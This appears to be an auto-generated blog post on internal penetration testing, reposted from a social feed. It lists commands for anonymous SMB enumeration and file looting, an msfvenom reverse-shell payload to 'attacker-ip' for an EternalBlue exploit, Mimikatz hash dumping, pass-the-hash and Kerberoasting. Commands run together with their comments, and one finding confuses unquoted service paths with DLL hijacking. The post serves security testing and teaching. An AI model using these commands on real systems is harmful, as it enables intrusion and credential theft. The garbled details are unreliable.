Listen to this Post
Internal penetration testing is more than just running automated tools—it’s about deep manual analysis, lateral movement, and validating findings to uncover critical security gaps.
You Should Know:
1. Manual Analysis & File Share Enumeration
Automated tools miss subtle misconfigurations. Manual digging through file shares can reveal:
– Sensitive credentials in scripts
– Overly permissive access controls
– Forgotten backup files
Commands:
List accessible SMB shares smbclient -L //target-ip -N Recursively download files from an SMB share smbget -R smb://target-ip/share -U anonymous Search for sensitive files find /mnt/smb_share -type f -name ".txt" -exec grep -l "password" {} +
2. Troubleshooting Custom Exploits
Not all exploits work out-of-the-box. Adjustments may include:
- Modifying shellcode for AV evasion
- Bypassing application controls
Example (MS17-010 Exploit):
Modify payload in EternalBlue exploit msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f py -o shellcode.py Manually integrate into exploit code python eternalblue.py target-ip shellcode.py
3. Lateral Movement Techniques
Moving beyond initial compromise requires:
- Pass-the-Hash attacks
- Kerberoasting for privilege escalation
Commands:
Extract hashes with Mimikatz sekurlsa::logonpasswords Perform Pass-the-Hash pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:ntlmhash //target-ip cmd Kerberoasting with Impacket GetUserSPNs.py domain/user:password -dc-ip domain-controller -request
4. Validation & Business Context
Proving impact separates real pentests from scans:
- Documenting exact steps to reproduce
- Mapping findings to business risks (e.g., “Domain Admin compromise allows access to financial systems”)
Example Report Snippet:
Finding: Unquoted Service Path (C:\Program Files\Vulnerable App\service.exe) Impact: Allows privilege escalation to SYSTEM via DLL hijacking. Proof: - Created malicious `C:\Program.exe` - Restarted service → gained SYSTEM shell
What Undercode Say
Automated tools are just the start. Real penetration testing demands persistence, creativity, and deep system knowledge. The difference between running Nessus and delivering a true internal pentest lies in manual exploitation, risk analysis, and actionable remediation guidance.
Expected Output:
A comprehensive report detailing:
1. Technical Findings (exploits, payloads, commands used)
2. Business Impact Analysis (prioritized risks)
3. Remediation Steps (exact hardening measures)
Prediction
As defenses improve, manual testing will become even more critical—AI-driven tools will handle baseline scans, but human ingenuity will remain essential for uncovering advanced attack paths.
Relevant URLs:
References:
Reported By: Spenceralessi You – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅